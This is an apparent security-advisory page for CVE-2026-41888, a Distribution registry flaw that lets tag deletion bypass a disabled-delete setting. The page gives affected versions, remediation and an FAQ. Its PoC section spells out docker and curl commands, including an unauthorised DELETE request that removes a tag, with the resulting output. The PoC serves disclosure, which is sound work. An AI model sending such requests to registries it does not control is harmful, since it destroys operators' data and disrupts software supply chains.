CVE-2026-41888: Distribution: Tag deletion bypasses `storage.delete.enabled` configuration

Published May 4, 2026
·
Updated

Summary

Tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion.

Details

When storage.delete.enabled is configured to false, digest-based manifest deletion is correctly rejected by the guard in registry/storage/linkedblobstore.go:212-215.

However, tag deletion takes a separate code path that never checks this setting:

In registry/handlers/manifests.go:439-453, DeleteManifest detects a tag reference, calls tagService.Untag(), returns, never consulting registry.deleteEnabled.

In turn, tagStore.Untag() calls the storage driver directly to delete the tag path without checking whether deletes are enabled.

PoC

Using a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as config.yaml:

yaml version: 0.1 storage: delete: enabled: false filesystem: rootdirectory: /var/lib/registry http: addr: :5000

Start a local Distribution, mounting in the above configuration from the current directory:

shell docker run -p 5000:5000 -v "$(pwd)/config.yaml":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml

In a separate terminal session/tab, push alpine:3.23 into the running instance: shell docker pull alpine:3.23 docker tag alpine:3.23 localhost:5000/alpine:3.23 docker push localhost:5000/alpine:3.23

Confirm that the tag shows up as expected: shell curl 'http://localhost:5000/v2/alpine/tags/list' {"name":"alpine","tags":["3.23"]}

Issue a delete for the 3.23 tag: shell curl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23'

Observe that the tag is now gone, despite deletes being disabled: shell curl 'http://localhost:5000/v2/alpine/tags/list' {"name":"alpine","tags":null}

Impact

This is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.

Other sources

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. This vulnerability is fixed in 3.1.1.

— MITRE

Affected Software

15 affected componentsFixes available
go/github.com/distribution/distribution<=2.8.3
go/github.com/distribution/distribution/v3<3.1.1
3.1.1
Distribution Distribution<3.1.1
debian/docker-registry*
debian/docker-registry*
debian/docker-registry*
debian/docker-registry<=2.8.2+ds1-1, <=2.8.3+ds1-2, <=2.8.3+ds1-3
ubuntu/docker-registry*
ubuntu/docker-registry*
ubuntu/docker-registry*
ubuntu/docker-registry*
ubuntu/docker-registry*
ubuntu/docker-registry*
ubuntu/docker-registry*
ubuntu/docker-registry*

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/distribution/distribution/v3 to a version that resolves this vulnerability.

    Fixed in 3.1.1
  2. Upgrade

    Upgrade distribution/distribution to a version that resolves this vulnerability.

    Fixed in 3.1.1

Event History

May 4, 2026
Advisory Published
via GitHub·08:48 PM
Data Sourced
via GitHub·08:48 PM
DescriptionWeaknessAffected Software
May 14, 2026
CVE Published
via MITRE·04:53 PM
Data Sourced
via MITRE·04:53 PM
DescriptionWeakness
Data Sourced
via OSV·04:53 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
May 15, 2026
Data Sourced
via NVD·06:25 PM
Affected Software
Updated
via NVD·06:25 PM
Severity
Nov 24, 2026
Data Sourced
via OSV·02:55 PM
Affected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-41888?

CVE-2026-41888 is considered a high severity vulnerability as it allows unauthorized deletion of repository tags.

2

How do I fix CVE-2026-41888?

To fix CVE-2026-41888, upgrade to distribution version 2.8.4 or later, or 3.1.1 or later.

3

What impact does CVE-2026-41888 have on my system?

CVE-2026-41888 allows attackers to bypass deletion restrictions, potentially leading to unauthorized data loss.

4

What systems are affected by CVE-2026-41888?

CVE-2026-41888 affects applications using distribution versions up to 2.8.3 and below version 3.1.1.

5

How is CVE-2026-41888 exploited?

CVE-2026-41888 can be exploited by sending a delete request to the manifests endpoint, which circumvents the expected configuration.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203